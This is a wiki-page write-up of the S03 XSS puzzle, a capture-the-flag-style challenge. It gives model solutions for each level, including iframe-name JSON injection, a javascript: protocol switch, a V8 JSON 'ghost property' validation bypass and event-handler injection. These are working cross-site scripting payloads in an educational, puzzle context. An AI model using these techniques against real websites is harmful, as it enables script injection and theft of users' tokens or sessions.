Skip to content
This repository has been archived by the owner on Jul 4, 2023. It is now read-only.

S03 XSS Puzzle

Cure53 edited this page Jun 10, 2015 · 2 revisions

URL:

http://www.shafigullin.pro/s03/

Original Writeup:

https://www.linkedin.com/pulse/s03-xss-puzzle-writeup-roman-x-shafigullin

Goal of this challenge was execute alert(secret.token) on challenge domain.

Level 0

window[config.caller][config.callback] = window[config.state];

Model solution is:

<iframe src=http://www.shafigullin.pro/s03/s03.html?level=0#<svg/onload=alert(secret.token)> name='{"caller":"config","callback":"innerHTML","state":"location"}'>

Let’s check what happens here:

    var data = JSON.parse(name);
    for (var key in data) {
    if (!(/^\w+$/.test(data[key]) && /^\w+$/.test(key))) {
    throw 'Wrong config format';
    }
    }
    var json = JSON.stringify(data);
    document.write('<input type="hidden" id="config" value=\'' + json + '\'>');

it means that all params/values must be words that can contain only a-z0-9_ so usual HTML injection is not working here after that we call window[config.caller][config.callback] = window[config.state];

So we take our hidden input element and set innerHTML: window.config.innerHTML = 'http://www.shafigullin.pro/s03/s03.html?level=0#<svg/onload=alert(secret.token)>'

Level 1

window[config.caller][config.callback] = config.state;

On this level we can use only word to set.

Model solution is:

window.location.protocol = 'javascript';
javascript://www.shafigullin.pro/s03/s03.html?level=0#%0aalert(secret.token)

It easy and beautiful, confirmed by @kinugawamasato, @Paul_Axe, @OrenHafif, @SecurityMB

Level 2

window[config.caller][config.callback](config.state);

This level bit harder, because we don’t have available function that by executing word would run alert(secret.token);. But as in all my puzzles, solution is not where you looking for it. In hints I mentioned Ghost Property bug that can be found with fuzzing, this bug allows to bypass if (!(/^\w+$/.test(data[key]) && /^\w+$/.test(key))) validation.

If we pass JS encoded number as key, after parsing with V8 JSON.parse we see empty object, but when we stringify it, value returns back.

Jüri found and created amazing exploit for this bug that costs $27.633.70 https://code.google.com/p/chromium/issues/detail?id=416449

Close to model solution @OrenHafif and @BenHayak sent this:

<iframe src="http://www.shafigullin.pro/s03/s03.html?level=2" id="test1" name='{"caller":"config","callback":"click","state":"aa",
"&#x5c;u0035":"&#x\u0035c\"}&#x27;onclick=&#x27;alert(secret.token)//"}'>

That creates onclick attribute in hidden input and emulates click: window.config.click('aa');

Level 31337

window[config.caller].postMessage(config.state, '*');

We don’t have access to any method from hidden input (config) anymore, and we don’t need that, because we can run script earlier.

This code reads all properties from hidden input (config) that was in JSON (data)

    for (var key in data) {
    if (config[key] || typeof config[key] == 'string') {

Let’s see what happens in Chrome

    document.body.innerHTML = '<input id="config" type="hidden" onclick="console.log(arguments)">';
    config.onclick()

in <function scope> you can find interesting expression

    function () {with (this[2]) {with (this[1]) {with (this[0]) {return function(event) {console.log(arguments)
    };}}}}

So we see how created event handler function, but what if we inject there.

    function () {with (this[2]) {with (this[1]) {with (this[0]) {return function(event) {console.log(arguments)
    };}}}},
    alert(1),
    function () {with (this[2]) {with (this[1]) {with (this[0]) {return function(event) {
    };}}}}

And simplify

    document.body.innerHTML = '<input id="config" type="hidden" onclick="}}}}},alert(1),function(){{{{{">';
    config.onclick

It gives us ability to run script compile time, so calling function is not required just call getter like `config.onclick`. `console.log(config)` also works, but requires opened console. No one found solution, maybe next time.